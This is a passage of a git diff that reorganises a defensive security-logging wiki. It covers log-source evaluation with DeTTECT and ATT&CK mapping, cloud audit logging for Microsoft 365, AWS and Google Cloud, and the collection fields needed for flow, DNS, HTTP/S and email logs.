is present, parsed, complete, timely, attributable, and useful for detections and investigations. -When managing out log sources, we must often evaluate them for their detection capabilities. We know that not all log sources are created equally, but how can we tell? Well we can do this two ways:\ -\ -First, we can see if ther are any standards of logging that we can hold our logs to. For example, if you are a Splunk user, you can use thier CIM, Common information Model to define all of the pertinent data points you need to log, (Per splunk's opinion). +## What to Evaluate -Second, we can evaluate our logs by scoring and comparing your logs to known standards such as Mitre Attack, to determine the level and quality of detection coverage. +* **Coverage** - Which systems, users, services, and environments produce the log? +* **Completeness** - Does the log contain the fields needed for the use case? +* **Fidelity** - Does the source report accurately enough to trust? +* **Timeliness** - How quickly does the event arrive? +* **Attribution** - Can the event be tied to a user, host, process, asset, or service? +* **Normalization** - Are fields mapped into the expected schema? +* **Retention** - Is the data stored long enough for investigations? +* **Cost** - Does the value justify ingestion, storage, and analyst time? + +## Standards and Schemas + +* Splunk Common Information Model (CIM) +* Elastic Common Schema (ECS) +* Open Cybersecurity Schema Framework (OCSF) +* OSSEM Data Model ## DeTTECT -On of the best tools to help with this is [DeTTECT](https://github.com/rabobank-cdc/DeTTECT). DeTTECT aims to assist blue teams using ATT\&CK to score and compare data log source quality, visibility coverage, detection coverage, and threat actor behaviors. All of which can help, in different ways, to get more resilient detection techniques against attacks targeting your organization. The DeTTECT framework consists of a Python tool, YAML administration files, the DeTTECT Editor, and scoring tables for the different aspects. +[DeTTECT](https://github.com/rabobank-cdc/DeTTECT) helps teams score and compare data-source quality, visibility coverage, detection coverage, and threat actor behaviors against ATT&CK. + +DeTTECT resources: + +* [Getting Started](https://github.com/rabobank-cdc/DeTTECT/wiki/Getting-started) +* [DeTTECT presentation](https://www.youtube.com/watch?v=_kWpekkhomU) +* [DeTTECT video guide](https://www.youtube.com/watch?v=EXnutTLKS5o) +* [Mapping your Blue Team to MITRE ATT&CK](https://www.mbsecure.nl/blog/2019/5/dettact-mapping-your-blue-team-to-mitre-attack) +* [dettectinator](https://github.com/siriussecurity/dettectinator) - Python library for DeTTECT YAML files. + * [NVISO: Automate Your Detection Coverage with dettectinator](https://blog.nviso.eu/2023/01/04/dettct-automate-your-detection-coverage-with-dettectinator/) + +## ATT&CK Data Mapping + +* [ATTACKdatamap](https://github.com/olafhartong/ATTACKdatamap) - Olaf Hartong's event-level data-source assessment project for ATT&CK coverage. +* [Assess your data potential with ATT&CK Datamap](https://medium.com/@olafhartong/assess-your-data-potential-with-att-ck-datamap-f44884cfed11) +* [OSSEM-DM](https://github.com/OTRF/OSSEM-DM) + +Windows Event ID to ATT&CK mappings and Malware Archaeology cheat sheets are maintained with terminology and mapping references. -DeTTECT provides the following functionality: +{% content-ref url="../blue-defense/terminology-and-mapping.md" %} +[terminology-and-mapping.md](../blue-defense/terminology-and-mapping.md) +{% endcontent-ref %} -* Administrate and score the quality of your data sources. -* Get insight on the visibility you have on for example endpoints. -* Map your detection coverage. -* Map threat actor behaviors. -* Compare visibility, detections, and threat actor behaviors to uncover possible improvements in detection and visibility. This can help you to prioritize your blue teaming efforts. +## Related Pages -DeTTECT Resources +For detection engineering and event analysis: -* Wiki - [https://github.com/rabobank-cdc/DeTTECT/wiki/Getting-started](https://github.com/rabobank-cdc/DeTTECT/wiki/Getting-started) -* Video Presentation - [https://www.youtube.com/watch?v=\_kWpekkhomU](https://www.youtube.com/watch?v=\_kWpekkhomU) -* Video Guide - [https://www.youtube.com/watch?v=EXnutTLKS5o](https://www.youtube.com/watch?v=EXnutTLKS5o) -* [https://www.mbsecure.nl/blog/2019/5/dettact-mapping-your-blue-team-to-mitre-attack](https://www.mbsecure.nl/blog/2019/5/dettact-mapping-your-blue-team-to-mitre-attack) -* [https://www.siriussecurity.nl/blog/2019/5/8/mapping-your-blue-team-to-mitre-attack](https://www.siriussecurity.nl/blog/2019/5/8/mapping-your-blue-team-to-mitre-attack) -* [https://github.com/siriussecurity/dettectinator](https://github.com/siriussecurity/dettectinator) - The Python library to your DeTT\&CT YAML files. - * [https://blog.nviso.eu/2023/01/04/dettct-automate-your-detection-coverage-with-dettectinator/](https://blog.nviso.eu/2023/01/04/dettct-automate-your-detection-coverage-with-dettectinator/) +{% content-ref url="../blue-defense/event-detection/" %} +[event-detection](../blue-defense/event-detection/) +{% endcontent-ref %} -## ATTACKDataMap +{% content-ref url="../blue-defense/event-and-log-analysis.md" %} +[event-and-log-analysis.md](../blue-defense/event-and-log-analysis.md) +{% endcontent-ref %} -This is an amazing tool written by the Sysmon Guru Olaf Hartong, for mapping data sources and their tracked events to Mitre coverage. +For selecting collection priorities: -* [ATTACKdatamap](https://github.com/olafhartong/ATTACKdatamap) - A datasource assessment on an event level to show potential coverage or the MITRE ATT\&CK framework -* [https://medium.com/@olafhartong/assess-your-data-potential-with-att-ck-datamap-f44884cfed11](https://medium.com/@olafhartong/assess-your-data-potential-with-att-ck-datamap-f44884cfed11) -* [https://github.com/OTRF/OSSEM-DM](https://github.com/OTRF/OSSEM-DM) +{% content-ref url="how-to-log.md" %} +[how-to-log.md](how-to-log.md) +{% endcontent-ref %} -## Misc +## Legacy References -* [https://www.socinvestigation.com/mapping-mitre-attck-with-window-event-log-ids/](https://www.socinvestigation.com/mapping-mitre-attck-with-window-event-log-ids/) +The older September 2018 Windows ATT&CK logging cheat sheet is a historical reference. Prefer maintained ATT&CK mappings and Malware Archaeology resources for current work. {% embed url="https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/5b8f091c0ebbe8644d3a886c/1536100639356/Windows+ATT%26CK_Logging+Cheat+Sheet_ver_Sept_2018.pdf" %} diff --git a/security-logging/logging-cloud.md b/security-logging/logging-cloud.md index deeda79..9679505 100644 --- a/security-logging/logging-cloud.md +++ b/security-logging/logging-cloud.md @@ -1,12 +1,48 @@ --- -description: Currently in Dev... +description: Cloud audit, identity, activity, and flow logging --- # Logging - Cloud -O365 +Cloud logging should capture identity activity, control-plane API calls, workload/network activity, security findings, and SaaS audit records. Keep posture management, hardening, and offensive cloud testing on the main Cloud page. -* [https://thecloudtechnologist.com/2021/10/15/everything-you-wanted-to-know-about-security-and-audit-logging-in-office-365/amp/](https://thecloudtechnologist.com/2021/10/15/everything-you-wanted-to-know-about-security-and-audit-logging-in-office-365/amp/) -* [https://github.com/invictus-ir/Microsoft-365-Extractor-Suite](https://github.com/invictus-ir/Microsoft-365-Extractor-Suite) -* [Unified Audit logs in Microsoft 365](https://www.youtube.com/watch?v=c1kId\_esv0k) +{% content-ref url="../cloud.md" %} +[cloud.md](../cloud.md) +{% endcontent-ref %} + +## Microsoft 365, Entra ID, and Azure + +* [Microsoft Purview: Search the audit log](https://learn.microsoft.com/en-us/purview/audit-log-search) +* [Office 365 Management Activity API schema](https://learn.microsoft.com/en-us/office/office-365-management-api/office-365-management-activity-api-schema) +* [Enable Unified Audit Log for delegated Microsoft 365 tenants](https://gcits.com/knowledge-base/enabling-unified-audit-log-delegated-office-365-tenants-via-powershell/) +* [Everything you wanted to know about security and audit logging in Office 365](https://thecloudtechnologist.com/2021/10/15/everything-you-wanted-to-know-about-security-and-audit-logging-in-office-365/amp/) +* [Microsoft-365-Extractor-Suite](https://github.com/invictus-ir/Microsoft-365-Extractor-Suite) - Collection tooling for Microsoft 365 investigation and audit data. +* [Unified Audit Logs in Microsoft 365](https://www.youtube.com/watch?v=c1kId_esv0k) * [The basics of modern authentication - Microsoft identity platform](https://www.youtube.com/watch?v=tkQJSHFsduY) +* [Azure Monitor Activity Log](https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/activity-log) +* [Azure diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/diagnostic-settings) +* [Microsoft Sentinel](https://learn.microsoft.com/en-us/azure/sentinel/) + +## AWS + +* [AWS CloudTrail](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-user-guide.html) - Control-plane API logging. +* [AWS CloudTrail Lake](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-lake.html) - Queryable CloudTrail event lake. +* [Amazon VPC Flow Logs](https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs.html) - Network flow metadata for VPCs, subnets, and interfaces. +* [Amazon GuardDuty](https://docs.aws.amazon.com/guardduty/latest/ug/what-is-guardduty.html) - Managed threat detection findings. +* [AWS Security Hub](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html) - Aggregates security findings and posture signals. +* [AWS Config](https://docs.aws.amazon.com/config/latest/developerguide/WhatIsConfig.html) - Configuration history and compliance records. + +## Google Cloud + +* [Cloud Audit Logs](https://cloud.google.com/logging/docs/audit) - Admin activity, data access, system event, and policy denied logs. +* [VPC Flow Logs](https://cloud.google.com/vpc/docs/flow-logs) - Network flow metadata. +* [Cloud Logging](https://cloud.google.com/logging/docs) - Centralized logging platform. +* [Security Command Center](https://cloud.google.com/security-command-center/docs) - Findings and cloud security posture signals. + +## Cross-Cloud Collection Notes + +* Centralize identity and control-plane logs first. +* Enable network flow logs where investigations require cloud east-west visibility. +* Normalize account, subscription, project, region, resource ID, principal, source IP, action, result, and user-agent fields. +* Export logs to durable storage when retention requirements exceed native platform defaults. +* Treat SaaS audit logs as first-class sources, especially for identity, mailbox, file-sharing, and administrative actions. diff --git a/security-logging/logging-guide-network-services.md b/security-logging/logging-guide-network-services.md index 2d1ed8d..94fc47c 100644 --- a/security-logging/logging-guide-network-services.md +++ b/security-logging/logging-guide-network-services.md @@ -1,265 +1,191 @@ # Logging - Network Services -When capturing data for detection and monitoring, defenders must make a careful cost benefit comparison on the richness of logs they store, and the cost associated with them. The target is always to have as much data as you need, but storage can rack up in cost. One of the most efficient ways of getting the data you need for detections, is capturing Flow data. Originating with the Cisco [NetFlow](https://www.cisco.com/c/en/us/products/ios-nx-os-software/ios-netflow/index.html) protocol, it takes a small set of data that provides just enough details about your traffic, to make basic detections, without looking into every detail of every packet. +Network service logs provide visibility into communication patterns, service use, policy enforcement, and investigation context. This page focuses on collection and useful fields. Packet analysis tools, PCAP workflows, and deep NFAT analysis live in Blue Defense. -## Logging Sources - -* **Network Device Utilities** - As the original [NetFlow](https://www.cisco.com/c/en/us/products/ios-nx-os-software/ios-netflow/index.html) protocol started with Cisco, it has quickly caught on and become a staple utility bundled with network device tools. Gathering [NetFlow](https://www.cisco.com/c/en/us/products/ios-nx-os-software/ios-netflow/index.html) from core routers or next-gen or layer 3 switches, is a good option for monitoring internal traffic. -* **Next-Gen Firewalls** - Similar to other networking devices, NGFWs can provide traffic flow data as an added utility. This is one of the more common places to start gathering traffic data as you can get flow data on traffic entering and exiting the network. -* **Network Sensors** - Sensors within a network environment set up with taps off of core infrastructure can capture anything from simple flow data to full packet captures. -* **Cloud Infrastructure Utilities** - Certain cloud service providers can provide flow data within your cloud environment such as AWS's [VPCFlow](https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs.html) logs to Cloudwatch. - -{% content-ref url="../../blue-defense/packet-analysis.md" %} -[packet-analysis.md](../../blue-defense/packet-analysis.md) +{% content-ref url="../blue-defense/packet-analysis.md" %} +[packet-analysis.md](../blue-defense/packet-analysis.md) {% endcontent-ref %} -## Session/Flow Basics - -**5-Tuple** - The core of a flow record and the minimum required fields. The first editition of flow data was based around 5 key data points that have been dubbed the "5-tuple". These data points are Source IP, Destionation IP, Source Port, Destination Port, and Protocol. - -**Flow Timout -** Incoming data is appeneded to a flow record if it matches the previously captured 5-tuple data. This flow record can be terminated under three conditions: +## Logging Sources -* Natural Timout - When the traffic naturally ends based on the protocol, such as with packets containing RST or FIN. -* Idle Timeout - When there is no data recieved within thirty seconds of the last packet. This time frame is configurable. -* Active Timeout - When a flow has been open for 30 minutes. This time frame is configurable. +* **Network devices** - Routers, layer 3 switches, firewalls, VPN concentrators, and load balancers can export flow or session metadata. +* **Next-generation firewalls** - Often provide flow logs, application labels, user identity, URL categories, actions, and threat signatures. +* **Network sensors** - TAP/SPAN-connected sensors can generate Zeek/Corelight logs, flow records, PSTR, and PCAP. +* **Cloud infrastructure** - Cloud providers can produce flow logs such as AWS VPC Flow Logs, Azure NSG Flow Logs, and Google VPC Flow Logs. -### **Types of Flow Logging** +Cloud flow logs are covered with other cloud audit sources on the Cloud Logging page. -* [NetFlow](https://www.cisco.com/c/en/us/products/ios-nx-os-software/ios-netflow/index.html) - The original flow data captureing protocol developed by Cisco. - * V5 - The most common NetFlow standard available with 20 available data fields for tracking. - * V9 - The newer standard for netflow logging with 104 available data fields. - * [https://www.plixer.com/blog/netflow-v9-vs-netflow-v5/](https://www.plixer.com/blog/netflow-v9-vs-netflow-v5/) -* [IPFIX](https://tools.ietf.org/html/rfc7011) - A recent flexible alternative to NetFlow that is template based and record-oriented. -* JFlow - The Juniper version of Netflow V5 and V9. The only difference is the method of handling timestamps. -* [sFlow](https://sflow.org/) - based on sampling of 1 out of X number of packets. The advantage is that it can capture layer 2 traffic. - * [https://www.plixer.com/blog/sflow-vs-netflow-comparison/](https://www.plixer.com/blog/sflow-vs-netflow-comparison/) -* Many more. +{% content-ref url="logging-cloud.md" %} +[logging-cloud.md](logging-cloud.md) +{% endcontent-ref %} -### **Reference** +## Session and Flow Basics -* [https://www.flowmon.com/en/solutions/network-and-cloud-operations/netflow-ipfix](https://www.flowmon.com/en/solutions/network-and-cloud-operations/netflow-ipfix) +The **5-tuple** is the minimum connection identity for flow records: -## Flow Tools +* Source IP +* Source port +* Destination IP +* Destination port +* Protocol -Many networking devices have the ability to export Flow data. This includes security devices like firewalls, and even cloud infrastructure like AWS's VPCFlow. For everything else, practitioners can use software Flow generation tools. +Flow records end when traffic naturally closes, remains idle beyond a timeout, or exceeds an active timeout. -* [Fprobe](logging-guide-network-services.md#network-traffic-data-collection-and-logging) - libpcap-based tool that collect network traffic data and emit it as NetFlow flows towards the specified collector. -* [YAF (Yet Another Flowmeter)](logging-guide-network-services.md#network-traffic-data-collection-and-logging) - It processes packet data from pcap(3) dumpfiles as generated by [tcpdump(1)](http://www.tcpdump.org/) or via live capture from an interface using pcap(3) into bidirectional flows, then exports those flows to [IPFIX](http://www.ietf.org/html.charters/ipfix-charter.html) Collecting Processes or in an IPFIX-based file format. YAF's output can be used with the [SiLK flow analysis tools](https://tools.netsa.cert.org/silk/index.html), [super\_mediator](https://tools.netsa.cert.org/super\_mediator/index.html), [Pipeline 5](https://tools.netsa.cert.org/analysis-pipeline5/index.html), and any other IPFIX compliant toolchain. -* [SiLK](https://tools.netsa.cert.org/silk/) - The System for Internet-Level Knowledge, is a collection of traffic analysis tools developed by the CERT Network Situational Awareness Team (CERT NetSA) to facilitate security analysis of large networks. - * SiLK Analysis Handbook - [https://tools.netsa.cert.org/silk/analysis-handbook.pdf](https://tools.netsa.cert.org/silk/analysis-handbook.pdf) - * _Collecting and Analyzing Flow data with SiLK - Applied Network Security Monitoring - pg.83_ -* [OpenArgus ](https://openargus.org/)- Argus is a Real Time Flow Monitor that is designed to perform comprehensive data network traffic auditing. - * [https://qosient.com/argus/argusnetflow.shtml](https://qosient.com/argus/argusnetflow.shtml) - * _Collecting and Analyzing Flow data with Argus - Applied Network Security Monitoring - pg.92_ -* [NTOP](https://www.ntop.org/) - Handy an flexible tool stack that can create packet captures, netflow logs, and network probes for recording traffic of different types. +Common flow formats: -## Packet String Data (PTSR) +* [NetFlow](https://www.cisco.com/c/en/us/products/ios-nx-os-software/ios-netflow/index.html) - Cisco-originated flow export format. +* NetFlow v5 - Widely deployed fixed-field format. +* NetFlow v9 - Template-based NetFlow format with more fields. +* [IPFIX](https://datatracker.ietf.org/doc/html/rfc7011) - Flexible, template-based flow standard. +* JFlow - Juniper flow export. +* [sFlow](https://sflow.org/) - Packet-sampling-based telemetry. -### Tools +## Flow Export and Collection Tools -* [URLSnarf](https://linux.die.net/man/8/urlsnarf) - Part of the [Dsniff](https://www.monkey.org/\~dugsong/dsniff/) suite, this tool sniffs HTTP requests, and outputs all requested URLs sniffed from HTTP traffic in CLF (Common Log Format, used by almost all web servers), suitable for offline post-processing with your favorite web log analysis tool (analog, wwwstat, etc.). -* [httpry](https://github.com/jbittel/httpry) - httpry is a tool designed for displaying and logging HTTP traffic. It is not intended to perform analysis itself, but instead to capture, parse and/or log the traffic for later analysis. -* [justniffer](https://onotelli.github.io/justniffer/) - Justniffer is a network protocol analyzer that captures network traffic and produces logs in a customized way, can emulate Apache web server log files, track response times and extract all "intercepted" files from the HTTP traffic +* [Fprobe](https://github.com/digitalocean/fprobe) - libpcap-based NetFlow exporter. +* [YAF](https://tools.netsa.cert.org/yaf/) - Processes PCAP or live traffic into bidirectional IPFIX flows. +* [OpenArgus](https://openargus.org/) - Real-time flow monitor for traffic auditing. +* [NTOP / ntopng](https://www.ntop.org/) - Network visibility stack that can create packet captures, NetFlow logs, and traffic probes. -### Resources +Flow and packet analysis tooling such as SiLK, super_mediator, URLSnarf, httpry, and justniffer is preserved on the Packet Analysis page. -* _Packet String Data - Applied Network Security Monitoring - pg.121_ +{% content-ref url="../blue-defense/packet-analysis.md" %} +[packet-analysis.md](../blue-defense/packet-analysis.md) +{% endcontent-ref %} -## Required data points +## Required Flow Fields +* Timestamp * Source IP -* Source Port +* Source port * Destination IP -* Destination Port +* Destination port * Protocol -* TCP Flags +* TCP flags * Duration -* Start/Stop Times -* Byte Count -* Packet Count - -## Specific Protocols +* Start and stop times +* Byte count +* Packet count +* Sensor or device name -### DNS +## DNS Logs +DNS logs can come from DNS servers, resolvers, firewalls, endpoint agents, Zeek/Corelight, and cloud DNS services. +### Collection Notes -**Log Collection** +* **Windows DNS** - Event logging and debug logging can expose DNS requests. Analytical logs use ETL and may require tooling that can process ETL at scale. +* **BIND DNS** - Common open source DNS service with configurable query logging. +* **Zeek/Corelight DNS logs** - High-quality network-derived DNS logs with consistent fields. +* **Cloud DNS logs** - Route 53 Resolver Query Logs, Azure DNS logs, and Google Cloud DNS logging can help cover cloud workloads. -DNS logging can come from multiple methods. The most direct methodology is a push/pull of DNS logs from a DNS server. Pulling these from either a Windows or Linux based DNS server requires DNS debugging to be enabled. Typically the debugging level of logging can get both performance and volume intensive. The modern performance of DNS servers combined with proper pruning of logs, makes both of these issues no longer a concern +### Encrypted DNS -* Windows DNS - Servers will have event logging and debug logging. While typically only event level logging is enabled by default, it will require debug logging to actually see the requested query. You will also need to make sure your settings are for Response and not Request. You will want this so the server only sends a log of a request and response pair. Otherwise you will see a large volume of request only logs that are potential duplicates. - * Windows DNS logs are difficult to parse due to a large amount of optional fields. There are pre-developed parsers available for these on Github. You can also extract and reuse the logic in other SIEM solutions if needed. - * [HASecurity Solutions LogStash parsers](https://github.com/HASecuritySolutions/Logstash) - * Windows DNS Analytical Log - Newer Windows DNS logging solution that creates and stores them in ETL format. This newer method can allow an incredible volume of DNS logging with negligible impact to server performance. NXLog Enterprise Edition is one of the few agents that can process this new format. -* [Bind DNS](https://www.isc.org/bind/) - Common opensource DNS logging solution -* [ZEEK](https://github.com/zeek/zeek) Logging - One of the quickest and easiest ways to gather logs of any kind. Zeek DNS logs are easier to manage and parse with a great selection of default fields and defaulting to tab delimiting. +DoT and DoH reduce network-level visibility into DNS queries. Organizations that need internal DNS visibility should define browser, endpoint, and resolver policy rather than relying on ad hoc blocking alone. -**Encrypted DNS** +Useful references: -DNS solutions are now being set up with encrypted communication options with DNS over TLS (DoT) via port 853, or DNS over HTTPS (DoH) via HTTP. While this provides great privacy and protection for an individual user, this provides a big problem for defenders needing to see into DNS traffic. +* [RFC 7858: DNS over TLS](https://datatracker.ietf.org/doc/html/rfc7858) +* [RFC 8484: DNS over HTTPS](https://datatracker.ietf.org/doc/html/rfc8484) +* [Mozilla Canary Domain](https://support.mozilla.org/en-US/kb/canary-domain-use-application-dnsnet) +* [Black Hills: The DNS over HTTPS Mess](https://www.blackhillsinfosec.com/the-dns-over-https-doh-mess/) - Useful 2019-era discussion of defender visibility concerns. -To address visibility issues, we should perform the following in our networks. - -* Disable DoT functionality within your network and block UDP port 853. - * [https://datatracker.ietf.org/doc/html/rfc7858](https://datatracker.ietf.org/doc/html/rfc7858) - * [https://dnsprivacy.org/dns\_privacy\_daemon\_-\_stubby/](https://dnsprivacy.org/dns\_privacy\_daemon\_-\_stubby/) -* Disable DoH functionality within your network by adjusting your enterprise's standard browser configuration. - * [https://datatracker.ietf.org/doc/html/rfc8484](https://datatracker.ietf.org/doc/html/rfc8484) - * [https://www.blackhillsinfosec.com/the-dns-over-https-doh-mess/](https://www.blackhillsinfosec.com/the-dns-over-https-doh-mess/) - * Public DoH services - * cloudflare-dns.com, and one.one.one.one - * Privacy policy statement here at [https://blog.cloudflare.com/announcing-the-results-of-the-1-1-1-1-public-dns-resolver-privacy-examination/](https://blog.cloudflare.com/announcing-the-results-of-the-1-1-1-1-public-dns-resolver-privacy-examination/). - * dns.adguard.com - * [https://kb.adguard.com/en/dns/overview](https://kb.adguard.com/en/dns/overview) - * dns.google, and dns.google.com - * mines data as revenue source - * dns.nextdns.io - * [Privacy Policy – NextDNS](https://nextdns.io/privacy) - * dns.opendns.com, and doh.umbrella.com (Cisco business service) - * [https://](https://www.opendns.com/website-terms-of-use/)[www.opendns.com/website-terms-of-use/](https://www.opendns.com/website-terms-of-use/) - * dns.quad9.net - * [https://www.quad9.net/service/privacy/](https://www.quad9.net/service/privacy/) -* Create and monitor a canary domain that will detect the attempted use of DoH. These domains are typically requested by the clients DoH utility looking for handling instructions from their local resolver. - * [https://support.mozilla.org/en-US/kb/canary-domain-use-application-dnsnet](https://support.mozilla.org/en-US/kb/canary-domain-use-application-dnsnet) - -**Required Data points** +### DNS Fields * Timestamp * Source IP -* Source Hostname -* DNS Server IP -* DNS Server Hostname -* Ephemeral port number - To help identify the session -* Domain Query -* Response to query -* DNS Query type - -**Enrichment Data Points** - -* Top-Level Domains (TLD): Some SIEM solutions do not have regex patterns for pulling out current TLDs. HA Security Solutions has a great [tool ](https://github.com/HASecuritySolutions/tld\_pattern\_calculator)for calculating TLD patterns. -* Parent Domain: High-level domain name -* Subdomains -* Frequency score - Test of domain entropy. If not a something that can be calculated in in your SIEM natively, Mark Bagget wrote a few[ fantastic tools](https://github.com/markbaggett/freq) specifically for this. - * freq.py - Tool for manual entropy checking - * freq\_server.py - Tool that when combined with [APIfy](https://github.com/MarkBaggett/apiify) or [Logstash REST Filter](https://github.com/lucashenning/logstash-filter-rest), can be leveraged by your SIEM for high-performance querying. -* Domain Lengths -* Domain Age - Can be easily found with the WHOIS or RDAP tool - * \#whois DOMAIN | grep 'Creation Date' | grep Z | cut -d':' -f2 | cut -d' ' -f2 -* GeoIP lookup -* Tagging -* [Domain\_stats](https://github.com/MarkBaggett/domain\_stats) - An amazing tool that allows enrichment of multiple data points like domain age and presence on a top 1 million list at scale. This should be leveraged at scale for enriching all your DNS requests. - -**Reference** - -* [http://pubs.sciepub.com/jcsa/8/2/2/index.html](http://pubs.sciepub.com/jcsa/8/2/2/index.html) -* [https://www.sans.org/white-papers/39160/](https://www.sans.org/white-papers/39160/) - -### HTTP/S - -**Log Collection** - -HTTP logs are one of the riches log sources that we may deal with. Logs include so much more than simply port 80 or 443 access. That being said, there are multiple ways to gather HTTP logs, each with their varying context and level of detail. We must also be aware of the direction of traffic as certain tools can give more context to a certain direction. - -* WAF: Web Application Firewall - Great source for inbound HTTP traffic, while also adding security context such as the firewall actions. -* Next-Gen firewall - Many of these have their own network traffic logging capabilities. Some advanced features can include SSL inspection and extraction of SSL certificate data. -* Web-Server logs - Generally contains a wealth of logs, but will need to focus on those that have security context. Web servers can log in many different formats. - * W3C extended - The default for Microsoft IIS Servers. Detailed logs with headers that allow you to easily add and remove fields. IIS server versions change their default data fields between versions, so make sure you set them to the same version format. You can also use powershell on newer IIS logs to format them. - * NCSA - Text file with common HTTP fields - * Combined - Default for Apache and NGINX. Can be converted to JSON. -* Web Proxies - One of the best ways to log HTTP data as well as protect internal assets. - * [Squid Proxy](http://www.squid-cache.org/) - An incredibly flexible open-source web proxy that can cache content for improved network performance. It can also be used for SSL MITM content filtering and AV checks against content. By restricting traffic through a proxy, we can detect and block many types of malware that are not proxy aware. - * The logs in web proxies are similar to web servers but will contain a few extra fields specific to proxies, such as Cache status, MIME object type, and peer hierarchy information. - * When using a proxy we need to make sure we are tracking the original address that initiated the traffic. For this we use a field called XFF: X-forwarded-for. Zeek and most proxies will log this by default. Most web servers will not, and must be enabled. -* Network traffic logging tools - [ZEEK](https://zeek.org/) is an incredible too that can easily grab HTTP logs flowing across a network. This is one of the more simple and easy to configure logging options. If the hosted extractor has the appropriate visibility, this can capture all of the logs we would need. - * This is also one of the best options for extracting TLS 1.2 and lower certificate data. it typically has more data fields than other logging options that support certificate data. -* Decrypt port mirroring - When using port mirroring for the purposes of a network tap, certain devices with SSL inspection capability can log decrypted SSL/TLS communications out to a logging port. If your current toolset does not perform SSL inspection, you can use a tool such as[ hallucinate](https://github.com/SySS-Research/hallucinate/) to perform one-stop TLS traffic inspection and manipulation using dynamic instrumentation. -* Specialty Sources - These would include Logging agents like [Packetbeat](https://www.elastic.co/beats/packetbeat), scripts, cloud logs, and those from other applications. - -**SSL/TLS** +* Source hostname +* DNS server IP +* DNS server hostname +* Client source port +* Domain query +* Response +* Query type +* Response code + +DNS enrichment techniques such as domain age, entropy, popularity, GeoIP, RDAP, and passive DNS are maintained in SIEM Enrichment and Cyber Intelligence. + +{% content-ref url="../blue-defense/event-detection/siem-and-enrichment.md" %} +[siem-and-enrichment.md](../blue-defense/event-detection/siem-and-enrichment.md) +{% endcontent-ref %} -Encrypted web communications have recently become not only common, but standard for many applications. This is great for personal security and privacy, but adds a challenge for defenders needing to investigate potentially malicious traffic. That being said, there are a few more data points that are added with an SSL/TLS connection, that we can leverage for identification. +{% content-ref url="../cyber-intelligence/threat-data.md" %} +[threat-data.md](../cyber-intelligence/threat-data.md) +{% endcontent-ref %} -One of the best data points for enrichment and detection Use cases, is the SSL certificate. In TLS 1.2 communications and lower, the traffic is encrypted but the certificate details are not. Because of this, we can use the certificate contents to identify malware. +## HTTP and HTTPS Logs -TLS 1.3 adds a large hurdle with detection, as it now encrypts the certificate data as well as the payload. The only way around this is SSL/TLS decryption and Inspection. This is further disrupted as with PFS: Perfect Forward Secrecy, Inspection will require a complete tear down of the connection in order to inspect the contents, therefore changing the connection into two separate tunnels. +HTTP/S logs can come from web servers, reverse proxies, WAFs, forward proxies, firewalls, Zeek/Corelight, packet sensors, cloud load balancers, and application platforms. -**Certificate Analysis** +### Collection Notes -SSL certificates can hold a slew of information that can be used to identify known good and known bad traffic. The presence of a revoked certificate ID or by a known malicious publisher, can be data points that produce high fidelity detections. Beyond this we should also look at what data is NOT present within the certificate. There are a lot of details in a proper certificate and malware authors can be lazy and malware will perform minimal tasks to be successful as well as tend to fill in the minimum data point within a certificate. +* **Web servers** - IIS, Apache, NGINX, and application servers provide request logs. Normalize field names and include X-Forwarded-For where applicable. +* **Web proxies** - Strong source for outbound HTTP/S visibility, user mapping, URL categories, cache status, and actions. +* **WAFs** - Useful for inbound application traffic, rule IDs, actions, and attack categories. +* **Next-generation firewalls** - Can provide application IDs, URL categories, TLS metadata, and actions. +* **Zeek/Corelight** - Useful source for HTTP logs and TLS metadata when sensor placement provides visibility. +* **SSL/TLS inspection devices** - Can add decrypted or certificate-level details where lawful and authorized. -**Required Data Points** +### HTTP/S Fields * Timestamp * Source IP -* Source Hostname/Domain (If available) +* Source hostname or user, when available * Destination IP -* Destination Hostname/Domain (If available) -* Domain requested +* Destination hostname +* Host header or SNI +* URI and query string +* HTTP method * HTTP status code -* User Agent -* Web Application Firewall Logs - * Firewall Action - * Any available reputation or signature data - * Network level data (Connection type, protocol, byte count, etc.) -* Next Gen Firewall/Network Traffic Logs. - * Firewall Action - * Any available reputation or signature data - * Network level data (Connection type, protocol, byte count, etc.) +* User-Agent +* Referrer +* Request and response byte counts +* Proxy, firewall, or WAF action +* Rule ID, category, or signature name when available -**Optional - If you have the storage.** +### TLS Metadata -* Full HTTP header information - Handy for more indepth analysis. Use for local storage only as this can get super loud. Can also be accomplished with a packet capture solution. +TLS 1.3 and encrypted client hello reduce some passive visibility. When available, TLS metadata can still help investigations: -**HTTP Enrichment Data Points** +* SNI +* JA3/JA4-style fingerprints +* Certificate issuer and subject +* Certificate validity window +* TLS version and cipher suite -* Frequency score of the web server or virtual host you are interacting with. -* Field lengths of the URI and User-Agent. -* Many DNS related enrichment opportunities can also carry over to HTTP +JA3 and packet-level TLS fingerprinting are maintained in Packet Analysis. -**HTTPS Enrichment Data Points -** These are in addition to the enrichment points for HTTP - -* Certificate data. Available for TLS 1.2 and Lower. Please see [x509 certificate](https://en.wikipedia.org/wiki/X.509) details for available fields. Investigation of the certificate issuer is always recommended. -* SSL/TLS Fingerprint - Certain tools like [JA3](https://github.com/salesforce/ja3) can create a fingerprint hash that can Identify a particular SSL/TLS connection based on the connection metadata. These in turn can be used for easy identification of known good and known bad connections, without looking at the traffic content - -### SMTP - -**Log Collection** - -As a rule, when focusing on email traffic, we should be letting focused security tools be our primary sources of information and security context. Email security appliances, mail proxies, spam filters, and other tools provide immense value and we should not be attempting to duplicate work that they perform. We can however supplement them by leveraging extra visibility. +{% content-ref url="../blue-defense/packet-analysis.md" %} +[packet-analysis.md](../blue-defense/packet-analysis.md) +{% endcontent-ref %} -There are certain sources of logs that we should focus on when collecting data related to email and SMTP. +## SMTP and Email Logs -* Email related security tools and SMTP Proxies.- These are helpful for identifying malicious attachments, blocking spam, and any other alerting the tool might generate. -* Mail servers and Mail applications - While containing a significant amount of data, it can be a wealth of statistical knowledge if you have the storage for it. -* Network traffic data - Amazingly useful for supplementary use cases to the above tools. Can help detect unauthorized SMTP traffic. By using Network Security Monitoring tools like ZEEK, we can collect everything we need. +Email logs should usually come from focused email infrastructure and security tooling first: mail servers, secure email 